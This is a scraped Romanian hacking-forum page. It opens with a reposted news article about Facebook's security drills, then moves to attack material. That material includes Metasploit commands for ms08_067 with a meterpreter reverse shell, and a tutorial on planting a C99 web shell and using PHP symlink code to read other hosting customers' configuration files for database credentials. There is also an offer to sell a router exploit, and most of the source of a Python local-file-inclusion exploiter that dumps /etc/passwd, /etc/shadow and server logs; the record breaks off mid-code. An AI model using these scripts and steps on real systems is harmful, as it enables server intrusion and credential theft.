Search the Community

Va recomand sa cititi stirea de mai jos chiar daca e lunga. How do companies prepare for the worst? By exposing workers to lifelike crises. Early on Halloween morning, members of Facebook's Computer Emergency Response Team received an urgent e-mail from an FBI special agent who regularly briefs them on security matters. The e-mail contained a Facebook link to a PHP script that appeared to give anyone who knew its location unfettered access to the site's front-end system. It also referenced a suspicious IP address that suggested criminal hackers in Beijing were involved. "Sorry for the early e-mail but I am at the airport about to fly home," the e-mail started. It was 7:01am. "Based on what I know of the group it could be ugly. Not sure if you can see it anywhere or if it's even yours." Facebook employees immediately dug into the mysterious code. What they found only heightened suspicions that something was terribly wrong. Facebook procedures require all code posted to the site to be handled by two members of its development team, and yet this script somehow evaded those measures. At 10:45am, the incident received a classification known as "unbreak now," the Facebook equivalent of the US military's emergency DEFCON 1 rating. At 11:04am, after identifying the account used to publish the code, the team learned the engineer the account belonged to knew nothing about the script. One minute later, they issued a takedown to remove the code from their servers. With the initial threat contained, members of various Facebook security teams turned their attention to how it got there in the first place. A snippet of an online chat captures some of the confusion and panic: Facebook Product Security: question now is where did this come from Facebook Security Infrastructure Menlo Park: what's [IP ADDRESS REDACTED] Facebook Security Infrastructure Menlo Park: registered to someone in beijing… Facebook Security Infrastructure London: yeah this is complete sketchtown Facebook Product Security: somethings fishy Facebook Site Integrity: which means that whoever discovered this is looking at our code If the attackers were able to post code on Facebook's site, it stood to reason, they probably still had that capability. Further, they may have left multiple backdoors on the network to ensure they would still have access even if any one of them was closed. More importantly, it wasn't clear how the attackers posted the code in the first place. During the next 24 hours, a couple dozen employees from eight internal Facebook teams scoured server logs, the engineers' laptop, and other crime-scene evidence until they had their answer: the engineer's fully patched laptop had been targeted by a zero-day exploit that allowed attackers to seize control of it. This is only a test The FBI e-mail, zero-day exploit, and backdoor code, it turns out, were part of an elaborate drill Facebook executives devised to test the company's defenses and incident responders. The goal: to create a realistic security disaster to see how well employees fared at unraveling and repelling it. While the attack was simulated, it contained as many real elements as possible. The engineer's computer was compromised using a real zero-day exploit targeting an undisclosed piece of software. (Facebook promptly reported it to the developer.) It allowed a "red team" composed of current and former Facebook employees to access the company's code production environment. (The affected software developer was notified before the drill was disclosed to the rest of the Facebook employees). The PHP code on the Facebook site contained a real backdoor. (It was neutralized by adding comment characters in front of the operative functions.) Facebook even recruited one of its former developers to work on the team to maximize what could be done with the access. The FBI e-mail came at the request of Facebook employees in an attempt to see how quickly and effectively various employee teams could work together to discover and solve the problems. "Internet security is so flawed," Facebook Chief Security Officer Joe Sullivan told Ars. "I hate to say it, but it seems everyone is in this constant losing battle if you read the headlines. We don't want to be part of those bad headlines." The most recent dire security-related headlines came last week, when The New York Times reported China-based hackers had been rooting through the publisher's corporate network for four months. They installed 45 separate pieces of custom-developed malware, almost all of which remained undetected. The massive hack, the NYT said, was pursued with the goal of identifying sources used to report a story series related to the family of China’s prime minister. Among other things, the attackers were able to retrieve password data for every single NYT employee and access the personal computers of 53 workers, some of which were directly inside the publisher's newsroom. As thorough and persistent as the NYT breach was, the style of attack is hardly new. In 2010, hackers penetrated the defenses of Google, Adobe Systems, and at least 32 other companies in the IT and pharmaceutical industries. Operation Aurora, as the hacking campaign came to be dubbed, exploited zero-day vulnerabilities in Microsoft's Internet Explorer browser and possibly other widely used programs. Once attackers gained a foothold on employee computers, they used that access to breach other, more sensitive, parts of the companies' networks. The hacks allowed the attackers to make off with valuable Google intellectual property and information about dissidents who used the company's services. It also helped coin the term "advanced persistent threat," or APT, used to describe hacks that will last weeks or months targeting a specific organization that possesses assets the attackers covet. Since then, reports of APTs have become a regular occurrence. In 2011, for instance, attackers breached the servers of RSA and stole information that could be used to compromise the security of two-factor authentication tokens sold by the division of EMC. A few months later, defense contractor Lockheed Martin said an attack on its network was aided by the theft of the confidential RSA data relating to its SecurID tokens, which some 40 million employees use to access sensitive corporate and government computer systems. "That was the inspiration around all this stuff," Facebook Security Director Ryan "Magoo" McGeehan said of the company's drills. "You don't want the first time you deal with that to be real. You want something that you've done before in your back pocket." Even after employees learned this particular hack was only for practice—about a half hour after the pseudo backdoor was closed—they still weren't told of the infection on the engineer's laptop or the zero-day vulnerability that was used to foist the malware. They spent the next 24 hours doing forensics on the computer and analyzing server logs to unravel that mystery. "Operation Loopback," as the drill was known internally, is notable for the pains it took to simulate a real breach on Facebook's network. "They're doing penetration testing as it's supposed to be done," said Rob Havelt, director of penetration testing at security firm Trustwave. "A real pen test is supposed to have an end goal and model a threat. It's kind of cool to hear organizations do this." He said the use of zero-day attacks is rare but by no means unheard of in "engagements," as specific drills are known in pen-testing parlance. He recalled an engagement from a few years ago of a "huge multinational company" that had its network and desktop computers fully patched and configured in a way that made them hard to penetrate. As his team probed the client's systems, members discovered 20 Internet-connected, high-definition surveillance cameras. Although the default administrator passwords had been changed, the Trustwave team soon discovered two undocumented backdoors built into the surveillance cameras' authentication system. Havelt's team exploited the backdoors to remotely take control of the cameras. With the ability to view their output, change their direction, and zoom in and out, the Trustwave employees trained them on computer keyboards as employees in the unidentified company entered passwords. With the help of the cameras' 10x zoom, the pen testers were able to grab a "ton" of credentials and use them to log in to the company's network. From there, the employees escalated privileges to gain administrative control of the network. (The employees later reported the vulnerability to the camera manufacturer, resulting in the eventual release of this security advisory.) We "ended up with domain admin on the internal network just because [the client] left these cameras on the Internet," Havelt said during a talk at last year's RSA conference. Havelt recalled a separate engagement in the last 12 months that involved a different client. After his team gained access to a system that was on the company's internal network, the hired hackers injected malicious code into webpages regularly accessed by the company's developers. The malicious Java applet exploited a recently discovered vulnerability in the Java software framework that Oracle had yet to patch. With full access to one of the developer's machines, the payload installed a new set of cryptographic keys that was authorized to access the company's servers using the SSH, or secure shell protocol. With that significant toehold established, the pen testers were able to escalate their control over the client's network. Adriel Desautels, CEO of pen testing firm Netragard, is also no stranger to the use of zero-day exploits, although he said he's often able to infect his clients using less sophisticated methods. During a recent engagement for a sensitive governmental agency located in the US, for instance, his team used social engineering to trick an agency employee into clicking on a link. The link, unbeknownst to the employee, installed "Radon," which is the name of pseudo-malware designed by Netragard to allow employees the same kind of sophisticated access many state-sponsored hackers behind espionage campaigns have. With the employee's desktop computer infected, Radon rummaged through the agency's network and added malicious commands to the "batch file" every computer ran when it logged in. The modified file caused each computer to also become infected with Radon. Seizing control of hundreds of independent machines gave the Netragard hackers a higher likelihood of maintaining persistence over the network, even in the event that the initial infection was discovered and cleaned up. "Eventually, it was game over," Desautels told Ars. "We had more control over their network than they did. That's how you do it. You don't just infect one system and stick it in their network and then try to infect the company. That doesn't guarantee you're going to be successful." Desautels praised the architects of Operation Loopback because Facebook "did more than most other companies in this industry will do." But he went on to say that the engagement was significantly more limited than most attacks waged by well-funded and experienced hackers who are intent on penetrating a Fortune 500 company. "If this were a real attack, they probably would have gone after multiple employees, especially with a zero day," he explained. "Why target one user when you have potentially hundreds of users you can target and get hundreds of points of entry?" Facebook, he continued, "probably got some good insight. But [the engagement] is not nearly as realistic as it would be if it was a nation-state attack just because [Operation Loopback] was very singular." Stress testing Facebook's incident response To be fair, the drill Facebook executives devised wasn't intended to replicate every characteristic of a real-world attack. Instead, the executives wanted to develop employees' ability to work together to respond to an attack that could have a catastrophic effect on the site's security. Sullivan, Facebook's CSO, calls it a "stress test" of his incident response team. "The team had grown substantially in the prior year, and we wanted to see if everyone is going to start screaming at each other or blaming each other because 'your logging system broke,' or 'your automated alerting should have triggered over here.' That was the human side of the test." Operation Loopback also wasn't the first drill to test employees' ability to respond effectively in times of crisis. Six months earlier, McGeehan, the company's security director, installed a host of powerful hacking tools on a laptop computer, connected it to the Facebook internal wireless network, and stashed it behind a supply cabinet in a public hallway. A few days later, employees with the company's physical security team reported the discovery of the mysterious laptop to the security team, touching off another tense response. Over the following day, employees scouring server logs found the computer's MAC, or media access control, address had accessed key parts of Facebook's network. "The first thing is: 'Oh my God. Panic,'" McGeehan said as he recalled his team's response to the incident. For almost 24 hours, the situation gave most employees every indication of being real. "As we're dealing with this, we realize that our network has been intruded on by some bad guy. Everyone in this room [is] thinking about 'how are we going to tear down our entire network? How are we going to basically deal with the worse-case scenario as a security incident?" To ratchet up the stress even further, the drill organizers sent an e-mail to members of Facebook's security team a few hours after the laptop was disconnected from the Facebook network. The e-mail purported to come from members of what's known as the Koobface Gang, whose members last year were identified as the perpetrators of virulent malware that spread over the social networking site. It made a series of demands of Facebook and promised serious reprisals if they weren't met. With Project Vampire, as the drill was dubbed, the employees worked a full 24 hours before they learned it wasn't a real hack. "We felt it was a necessary thing to have a great security team to put them through this kind of stuff," Sullivan explained. The organizers made an exception, however, when early in the drill, an employee said the magnitude of the intrusion he was investigating would require him to cancel a vacation that was scheduled to begin the following week. McGeehan pulled the employee aside and explained it was only a drill and then instructed him to keep that information private. Drills that use real zero-day vulnerabilities, require outside penetration testing firms, and suck up hundreds or thousands of man hours on non-production activities are expensive to carry out. But in a post-Operation Aurora world, where companies as security-savvy as Google and RSA are hacked and ransacked of valuable data, it is becoming increasingly necessary. "These things used to be unheard of when back when, except for governmental type organizations," Trustwave's Havelt said. "Now, you're seeing this more in the private sector. It's good to see. If it were any other industry and it was any other critical function of a product not doing this you'd have people screaming that [the companies] were negligent and wanting to sue them left and right." Sursa: At Facebook, zero-day exploits, backdoor code bring war games drill to life | Ars Technica Via: Digg - What the Internet is talking about right now

1. Exploit Development - Part 1 (Concepts) **This video and Part 2 Segment 1 are more lecture based videos** I recommend watching in full-screen due to quality issues. This is part 1 of 5. More to come over the next few weeks. Also, sorry about how I was talking in the video, I'm not a strong 2. Exploit Development - Part 2a (Shellcode) Exploit Development - Part 2b (Shellcode) 3. Exploit Development - Part 3 (Fuzzing) 4. Exploit Development - Part 4 (Disassembly/Reversing) Reverse Engineering is a very broad category, and in its own right deserves its own video series. The steps I go through in this video are more for mapping out a program, rather than editing asm code to change execution flow. 5. Exploit Development - Part 5a (Putting It All Together) Exploit Development - 5b (Putting It All Together)

am incercat sa fac un exploit de pe laptop pe pc..... si am folosit framework3 cam asa: cd /pentest/exploits/framework3 ./msfconsole use windows/smb/ms08_067_netapi set lhost 192.168.0.105 set lport 445 set rhost 192.168.0.103 set payload windows/meterpreter/reverse_tcp sessions -i exploit problema e ca : dupa ce scriu sessions -i spune ca nu am nici o sesiune activa si dupa ce dau exploit spune ca nu se poate lega de 192.168.0.105 (lhost) dupa care ramane asa intr-un stadiu de asteptare.... stie careva vreo solutie sau vreun alt handler? (personal am incercat cu asta : use windows/multi/handler si nu a mers) // Mersi pentru lamurire co4ie , a mers cu alt payload si acum incerc si altele!

Mai întâi de toate vom folosi func?ia symlink pentru a face o comand? rapid? pentru orice fi?ier sau folder vrem de aceea aceast? func?ie v? va fi foarte util? pentru citirea oric?rui folder sau fi?ier (Pentru mai multe detalii Utiliza?i Google). Aici am folosit Shell Named "C99" pentru a executa micul cod php (Eval Code) pe serverul de shared hosting. Exploit-ul este folosit pentru a desc?rca baza de date a victimei dac? ?i numai dac? victima este într-un host comun Desc?rca?i Shell-ul "C99 Shell" ?i urma?i pa?i. Ob?ine?i Oricare Shell C99 /Pasul 1 $ Incarc? php i.e Shell_R-H.php Shell root path (cale). Care este /home/hackerz/public_html . /Pasul 2 $ Deschide?i fi?ierul înc?rcat. http://www.yoursitename.com/shell_R-H.php /Pasul 3 $ Urm?torul pas este s? citi?i cu aten?ie mai jos php Eval Code. Este vorba despre 10 linii php code !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! $filepath='/home/xx/public_html/xx.xx'; $sitepath='/home/xx/public_html/'; $writeblefilepath='myfile.txt';$flib=$sitepath.$wr iteblefilepath; @unlink($flib); symlink($filepath, $flib); echo readlink($flib) . "\n"; echo "<textarea cols=30 rows=10>".file_get_contents("http://" . $_SERVER['HTTP_HOST'] . "/" . $writeblefilepath)."</tex" . "tarea>"; @unlink($flib); !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! /Pasul 4 Înlocuirea (xx) pe urma (xx.xx) - (fi?ier-ul ?int?, utilizat de obicei pentru a citi fi?ierele bazei de date de configurare unde g?sim informa?ii de conectare.) EX: - "/home/fbi/public_html/configuration.php" $writeblefilepath, acceseaz? în toate c?ile de scriere asupra site-ului. ?i, de asemenea, este utilizat pentru a face procesul - leg?tura.. scriere ?i ie?ire. Pentru @unlink îl pute?i c?uta pe php.net Este cam vechi in arhiva mea dar merge

Vand "smecherie" pentru getaway fritzbox WLAN (UI), directory transversal, admin data ..etc. Pret 3000 euro sau un website p0Wned, total 2 variante. Nu ofer nici o informatie inainte sa vad banii sau structura website. Nu cereti detali ca nu va dau decat dupa ce aratati marfa de schimb. Fara mail sau ym , skype, tw, numai PM.

#!/usr/bin/python # Simple Local File Inclusion Exploiter, version 1.2 # by Valentin Hoebel (valentin@xenuser.org) # ASCII FOR BREAKFAST # ---------- [Description] # This tool helps you to exploit LFI (Local File Inclusion) vulnerabilities. # After you found a LFI vulnerability simply pass the affected URL # and vulnerable parameter to this tool. # You can also use this tool to scan a URL for LFI vulnerabilities. # ---------- [Features] # - This time with working random user agents # - Checks if a connection to the target can be established # - Some error handling # - Scans a parameter of a URL for a LFI vulnerability # - Finds out how a LFI vulnerability can be exploited (e.g. directory depth) # - Supports nullbytes # - Dumps a list of interesting files (e.g. /etc/passwd and logs) to the hard disk # - Supports common *nix targets, but no Windows systems. # - Creates a small log file. # Supports no SEO URLs, such as www.example.com/local-news/ # But in most cases it is possible to find out the real URL and pass it to this script. # ---------- [Usage example] # ./lfi_sploiter.py --exploit-url="http://www.example.com/page.php?url=main" --vulnerable-parameter="url" # The tool then assumes that the parameter "url" is vulnerable and attacks the target. # When you do not know which parameter is vulnerable simply try one parameter after another, # this tool will scan the parameter and tell you if it is vulnerable But only pass one parameter at once! # ---------- [Known issues] # - I know there is more about LFI than it is covered in this tool. But this is the first release, # and more features will be implemented in future versions. # - This tool is only able to handle "simple" LFI vulnerabilities, but not complex ones. # For example: Some LFI vulnerabilities consist of two URL parameters or require to # find a way around filters. In those cases, this tool unfortunately does not work. # - Like most other LFI exploiter / scanner, this tool here also has problems with # handling certain server responses. So this tool does not work with every website. # ---------- [Tested with] # Targets: Apache2 servers and PHP websites, various Linux systems # Script platform: Ubuntu Lucid Lynx and Python 2.6.5 # ---------- [Notes] # - This tool was developed using a Python 2.6.5 interpreter. # - I admit: This tool is a little bit slow and not very efficient (too many variables etc.). Sorry about that # - Modify, distribute, share and copy this code in any way you like! # - Please note that this tool was created and published for educational purposes only, e.g. for pentesting # your own website. Do not use it in an illegal way and always know + respect your local laws. # I am not responsible if you cause any damage with it. # ---------- [Changelog] # - Version 1.2 (05th December 2010): # - Added some more "interesting files" # # - Version 1.1 (23th November 2010): # - Added new log file <domain name>-details.txt which contains some information about the current scan # - Added some more "interesting files" # - Added some more user agents # # - Version 1.0 (21th November 2010): # - Initial release # Power to the cows! import getopt, sys, random, urllib, urllib2, httplib, re, string, os from urllib2 import Request, urlopen, URLError, HTTPError from urlparse import urlparse from time import gmtime, strftime def print_usage(): print_banner() print "[!] Wrong argument and parameters passed. Use --help and learn how to use this tool :)" print "[i] Hint: You need to pass a value for --exploit-url=\"<value>\" and --vulnerable-parameter=\"<value>\"." print "[i] Example: ./lfi_sploiter.py --exploit-url=\"http://www.example.com/page.php?file=main\" --vulnerable-parameter=\"file\" " print "" print "" sys.exit() return def print_help(): print_banner() print "((Displaying the content for --help.))" print "" print "[Description]" print "The Simple Local File Inclusion Exploiter helps you to" print "exploit LFI vulnerabilities. After you found one, simply" print "pass the URL of the affected website and the vulnerable" print "parameter to this tool. You can also use this tool" print "to scan a parameter of an ULR for a LFI vulnerability." print "" print "[Usage]" print "./lfi_sploiter.py --exploit-url=\"<URL with http://>\" --vulnerable-parameter=\"<parameter>\"" print "" print "[Usage example]" print "./lfi_sploiter.py --exploit-url=\"http://www.example.com/page.php?file=main\" --vulnerable-parameter=\"file\" " print "" print "[Usage notes]" print "- Always use http://...." print "- When you pass a vulnerable parameter, this tool assumes that it is really vulnerable." print "- If you do not know if a parameter is vulnerable, simply pass it to this script and let the scanner have a look." print "- Only use one vulnerable parameter at once." print "- This tool does not work with SEO URLs, such as http://www.example.com/news-about-the-internet/." print " If you only have a SEO URL, try to find out the real URL which contents parameters." print "" print "[Feature list]" print "- Provides a random user agent for the connection." print "- Checks if a connection to the target can be established." print "- Tries catch most errors with error handling. " print "- Contains a LFI scanner (only scans one parameter at once)." print "- Finds out how a LFI vulnerability can be exploited (e.g. directory depth)." print "- Supports nullbytes!" print "- Exploit features: Dumps a list of interesting files to your hard disk." print "- Supports common *nix targets, but no Windows systems." print "- Creates a small log file." print "" print "[Some notes]" print "- Tested with Python 2.6.5." print "- Modify, distribute, share and copy the code in any way you like!" print "- Please note that this tool was created for educational purposes only." print "- Do not use this tool in an illegal way. Know and respect your local laws." print "- Only use this tool for legal purposes, such as pentesting your own website :)" print "- I am not responsible if you cause any damage or break the law." print "- Power to teh c0ws!" print "" print "" sys.exit() return def print_banner(): print "" print "" print "" print "Simple Local File Inclusion Exploiter" print "by Valentin Hoebel (valentin@xenuser.org)" print "" print "Version 1.2 (05th December 2010) ^__^" print " (oo)\________" print " (__)\ )\/\ " print " ||----w |" print "Power to teh cows! || ||" print "____________________________________________________" print "" return def test_url(exploit_url): print "" print "[i] Assuming the provided data was correct." print "[i] Trying to establish a connection with a random user agent..." user_agents = [ "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.9)", "Mozilla/5.0 (X11; U; Linux 2.4.2-2 i586; en-US; m18) Gecko/20010131 Netscape6/6.01 ", "Opera/8.00 (Windows NT 5.1; U; en)", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.1 Safari/525.19 " ] user_agent = random.choice (user_agents) check="" request_website = urllib2.Request(exploit_url) request_website.add_header('User-Agent', user_agent) try: check = urllib2.urlopen(request_website) except HTTPError, e: print "[!] The connection could not be established." print "[!] Error code: ", e print "[!] Exiting now!" print "" print "" sys.exit(1) except URLError, e: print "[!] The connection could not be established." print "[!] Reason: ", e print "[!] Exiting now!" print "" print "" sys.exit(1) else: print "[i] Connected to target! URL seems to be valid." print "[i] Jumping to the exploit feature." return def exploit_lfi(exploit_url, vulnerable_parameter): print "" # Define all variables of this function # I know, there are more efficient ways of handling all the "problems" we encounter later in this script, # but well, I am still learning lfi_found = 0 param_equals = "=" param_sign_1 = "?" param_sign_2 = "&" nullbyte = "%00" one_step_deeper = "../" for_the_first_test = "/" for_changing_the_dump_file_name = "_" for_the_second_test = ".." max_depth = 20 i = 0 nullbyte_required = 1 depth = 0 original_vulnerable_parameter_value = "" query_string = "" modified_query_string = "" lfi_url_part_one = "" lfi_url_part_two = "" lfi_url_part_three = "" lfi_url_part_four = "" lfi_url = "" find_nasty_string = "root:x:0:0:" find_nasty_string_2 = "mail:x:8:" user_agents = [ "Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.25 (jaunty) Firefox/3.8", "Mozilla/5.0 (X11; Linux i686; rv:2.0b3pre) Gecko/20100731 Firefox/4.0b3pre", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.6)", "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en)", "Mozilla/3.01 (Macintosh; PPC)", "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.9)", "Mozilla/5.0 (X11; U; Linux 2.4.2-2 i586; en-US; m18) Gecko/20010131 Netscape6/6.01", "Opera/8.00 (Windows NT 5.1; U; en)", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.1 Safari/525.19" ] user_agent = random.choice (user_agents) lfi_response="" lfi_response_source_code = "" replace_string = "" replace_string_2 = "" replace_me = "" value_for_vulnerable_parameter = "" value_for_vulnerable_parameter_2 = "" exploit_depth= 0 folder_name = "" cd_into = "" change_dump_filename = "" log_file_name = "" # I know, some of these are rarely accessible for the webserver, but you never know... it is worth the try! # Never ever change the first line! local_files = [ "etc/passwd", "proc/self/environ", "var/log/apache2/access.log", "var/log/apache2/access_log", "var/log/apache2/error.log", "var/log/apache2/error_log", "var/log/httpd/access.log", "var/log/httpd/access_log", "var/log/httpd/error.log", "var/log/httpd/error_log", "var/log/nginx/access.log", "var/log/nginx/access_log", "var/log/nginx/error.log", "var/log/nginx/error_log", "etc/shadow", "etc/group", "var/log/auth.log", "proc/self/status", "proc/self/mounts", "proc/cpuinfo", "proc/meminfo", "etc/apache2/httpd.conf", "etc/apache2/apache2.conf", "etc/apache2/envvars" ] # We have to split up the URL in order to replace the value of the vulnerable parameter get_parsed_url = urlparse(exploit_url) print "[i] For exploiting the LFI vulnerability we need to split the URL into its parts." print "[i] IP address / domain: " + get_parsed_url.netloc if len(get_parsed_url.path) == 0: print "[!] The URL doesn't contain a script (e.g. target/index.php)." else: print "[i] Script:", get_parsed_url.path if len(get_parsed_url.query) == 0: print "[!] The URL doesn't contain a query string (e.g. index.php?var1=x&controller=main)." else: print "[i] URL query string:", get_parsed_url.query print "" # Finding all URL parameters if param_sign_1 in exploit_url and param_equals in exploit_url: print "[i] It seems that the URL contains at least one parameter." print "[i] Trying to find also other parameters..." # It seems that there is at least one parameter in the URL. Trying to find out if there are also others... if param_sign_2 in get_parsed_url.query and param_equals in get_parsed_url.query: print "[i] Also found at least one other parameter in the URL." else: print "[i] No other parameters were found." else: print "" print "[!] It seems that there is no parameter in the URL." print "[!] How am I supposed to find a vulnerability?" print "[!] Please provide an URL with a script and query string." print "[!] Example: target/index.php?cat=1&article_id=2&controller=main" print "[!] Hint: I can't handle SEO links, so try to find an URL with a query string." print "[!] This can most likely be done by having a look at the source code (rightclick -> show source code in your browser)." print "[!] Exiting now!" print "" print "" sys.exit(1) # Detect the parameters # Thanks to atomized.org for the URL splitting and parameters parsing part! parameters = dict([part.split('=') for part in get_parsed_url[4].split('&')]) # Count the parameters parameters_count = len(parameters) # Print the parameters and store them in single variables print "[i] The following", parameters_count, "parameter(s) was/were found:" print "[i]", parameters # Check if the URL contains the provided vulnerable parameter print "" print "[i] According to you, the vulnerable parameter should be: " + vulnerable_parameter print "[i] Checking if this parameter exists in the provided URL..." if vulnerable_parameter in get_parsed_url.query: print "[i] Found your vulnerable parameter in the URL." else: print "[!] I was not able to find your vulnerable parameter within the provided URL." print "[!] How am I supposed to exploit the LFI vulnerabililty then?" print "[!] Exiting now!" print "" print "" sys.exit(1) # We now try to find out how this LFI vulnerability can be exploited # a) How deep do we need to go (../../......) and do we need to use the nullbyte? =) # We find this out by trying to access the /etc/passwd file.. it should always be accessible. print "" print "[i] Now trying to find out how this LFI vulnerability can be exploited..." print "[i] This can take a while." value_for_vulnerable_parameter = for_the_first_test value_for_vulnerable_parameter += value_for_vulnerable_parameter.join(local_files[0:1]) value_for_vulnerable_parameter_2 = "".join(local_files[0:1]) value_for_vulnerable_parameter_with_nullbyte = value_for_vulnerable_parameter + nullbyte value_for_vulnerable_parameter_with_nullbyte_2 = value_for_vulnerable_parameter_2 + nullbyte query_string = get_parsed_url.query # Find out what value the vulnerable parameter currently has for key, value in parameters.items(): if key == vulnerable_parameter: # Save the value of the vulnerable parameter, so we later can search in in the URL original_vulnerable_parameter_value = value # Our main routine, maybe the most important part of this script # At first without the nullbyte for depth in range(i, max_depth): # Replace the default value of the vulnerable parameter with our LFI string replace_string = (depth * one_step_deeper) + value_for_vulnerable_parameter_2 replace_string_2 = vulnerable_parameter + param_equals + (depth * one_step_deeper) + value_for_vulnerable_parameter_2 if depth== 0: replace_string = (depth * one_step_deeper) + value_for_vulnerable_parameter replace_string_2 = vulnerable_parameter + param_equals + (depth * one_step_deeper) + value_for_vulnerable_parameter replace_me = vulnerable_parameter + param_equals + original_vulnerable_parameter_value modified_query_string = query_string.replace(replace_me, replace_string_2) # Now craft the URL lfi_url_part_one = "".join(get_parsed_url[0:1]) + "://" lfi_url_part_two = "".join(get_parsed_url[1:2]) lfi_url_part_three = "".join(get_parsed_url[2:3]) + "?" lfi_url_part_four = "".join(modified_query_string) lfi_url = lfi_url_part_one + lfi_url_part_two + lfi_url_part_three + lfi_url_part_four # Ok, everything is prepared to enter subspace.. eeh, to call the URL (Stargate fans get this joke!) request_website = urllib2.Request(lfi_url) request_website.add_header('User-Agent', user_agent) try: lfi_response = urllib2.urlopen(request_website) except URLError, e: print "[!] The connection could not be established." print "[!] Reason: ", e else: lfi_response_source_code = lfi_response.read() if find_nasty_string in lfi_response_source_code: print "[+] Found signs of a successfull LFI vulnerability! No nullbyte was required." print "[+] URL: " + lfi_url nullbyte_required = 0 lfi_found = 1 exploit_depth = depth break else: if find_nasty_string_2 in lfi_response_source_code: print "[+] Found signs of a successfull LFI vulnerability! No nullbyte was required." print "[+] URL: " + lfi_url nullbyte_required = 0 lfi_found = 1 exploit_depth = depth break if nullbyte_required == 1: # Now with the nullbyte for depth in range(i, max_depth): # Replace the default value of the vulnerable parameter with our LFI string replace_string = (depth * one_step_deeper) + value_for_vulnerable_parameter_with_nullbyte_2 replace_string_2 = vulnerable_parameter + param_equals + (depth * one_step_deeper) + value_for_vulnerable_parameter_with_nullbyte_2 if depth== 0: replace_string = (depth * one_step_deeper) + value_for_vulnerable_parameter_with_nullbyte replace_string_2 = vulnerable_parameter + param_equals + (depth * one_step_deeper) + value_for_vulnerable_parameter_with_nullbyte replace_me = vulnerable_parameter + param_equals + original_vulnerable_parameter_value modified_query_string = query_string.replace(replace_me, replace_string_2) # Now craft the URL lfi_url_part_one = "".join(get_parsed_url[0:1]) + "://" lfi_url_part_two = "".join(get_parsed_url[1:2]) lfi_url_part_three = "".join(get_parsed_url[2:3]) + "?" lfi_url_part_four = "".join(modified_query_string) lfi_url = lfi_url_part_one + lfi_url_part_two + lfi_url_part_three + lfi_url_part_four # Ok, everything is prepared to enter subspace.. eeh, to call the URL (Stargate fans get this joke!) request_website = urllib2.Request(lfi_url) request_website.add_header('User-Agent', user_agent) try: lfi_response = urllib2.urlopen(request_website) except URLError, e: print "[!] The connection could not be established." print "[!] Reason: ", e else: lfi_response_source_code = lfi_response.read() if find_nasty_string in lfi_response_source_code: print "[+] Found signs of a successfull LFI vulnerability! Using the nullbyte was necessary." print "[+] URL: " + lfi_url lfi_found = 1 exploit_depth = depth break else: if find_nasty_string_2 in lfi_response_source_code: print "[+] Found signs of a successfull LFI vulnerability! Using the nullbyte was necessary." print "[+] URL: " + lfi_url lfi_found = 1 exploit_depth = depth break if lfi_found == 0: print "[!] The LFI vulnerability could not be detected." print "[!] Exiting now!" print "" print "" sys.exit() # Now that we know the details of the LFI vulnerability, we can start to exploit it. # At first we try to dump all interesting files to your local hard disk print "" print "[i] Exploiting the LFI vulnerability starts right now." print "[i] Trying to dump some interesting files to your local hard disk..." # "Craft" the folder name, it contains the scanned website and a formatted timestamp folder_name = get_parsed_url.netloc + "_-_" + strftime("%d_%b_%Y_%H:%M:%S_+0000", gmtime()) # Create the folder, with some error handling try: os.mkdir(folder_name) except OSError: print "[!] Something is wrong, the folder could not be created. Check the chmod and chown permissions!" print "[!] Exiting now!" print "" print "" sys.exit(1) cd_into = os.getcwd() + "/" + folder_name + "/" os.chdir(cd_into) # New since version 1.1: Create a small log file log_file_name = folder_name + "_-_scan.log" FILE = open(log_file_name, "w") FILE.write("Simple Local File Inclusion Exploiter - Log File\n") FILE.write("----------------------------------------------------------\n\n") FILE.write("Exploited URL:\n") FILE.write(exploit_url + "\n\n") FILE.write("LFI URL:\n") FILE.write(lfi_url) FILE.close # Start "calling" the files. Yeeeha! for key, file in enumerate(local_files): # Craft the URL # Consider nullbyte usage... if nullbyte_required == 0: # Consider that the LFI can be exploited by the first try and that no "cd .."s are needed. # Yes, sometimes this works! For example in my test script So this code block has a right to exist, believe it or not =) replace_string = (exploit_depth * one_step_deeper) + file replace_string_2 = vulnerable_parameter + param_equals + (exploit_depth * one_step_deeper) + file if exploit_depth == 0: replace_string = (exploit_depth * one_step_deeper) + for_the_first_test + file replace_string_2 = vulnerable_parameter + param_equals + (exploit_depth * one_step_deeper) + for_the_first_test + file replace_me = vulnerable_parameter + param_equals + original_vulnerable_parameter_value modified_query_string = query_string.replace(replace_me, replace_string_2) lfi_url_part_one = "".join(get_parsed_url[0:1]) + "://" lfi_url_part_two = "".join(get_parsed_url[1:2]) lfi_url_part_three = "".join(get_parsed_url[2:3]) + "?" lfi_url_part_four = "".join(modified_query_string) lfi_url = lfi_url_part_one + lfi_url_part_two + lfi_url_part_three + lfi_url_part_four request_website = urllib2.Request(lfi_url) request_website.add_header('User-Agent', user_agent) try: lfi_response = urllib2.urlopen(request_website) except URLError, e: print "[!] The connection could not be established." print "[!] Reason: ", e else: lfi_response_source_code = lfi_response.read() # Dump the file # We need to replace the "/" with underscores change_dump_filename = file.replace(for_the_first_test, for_changing_the_dump_file_name) print "[+] Dumping file: " + for_the_first_test + file FILE = open(change_dump_filename, "w") FILE.write(lfi_response_source_code ) FILE.close elif nullbyte_required == 1: # Consider that the LFI can be exploited by the first try and that no "cd .."s are needed. # Yes, sometimes this works! For example in my test script So this code block has a right to exist, believe it or not =) replace_string = (exploit_depth * one_step_deeper) + file + nullbyte replace_string_2 = vulnerable_parameter + param_equals + (exploit_depth * one_step_deeper) + file + nullbyte if exploit_depth == 0: replace_string = (exploit_depth * one_step_deeper) + for_the_first_test + file + nullbyte replace_string_2 = vulnerable_parameter + param_equals + (exploit_depth * one_step_deeper) + for_the_first_test + file + nullbyte replace_me = 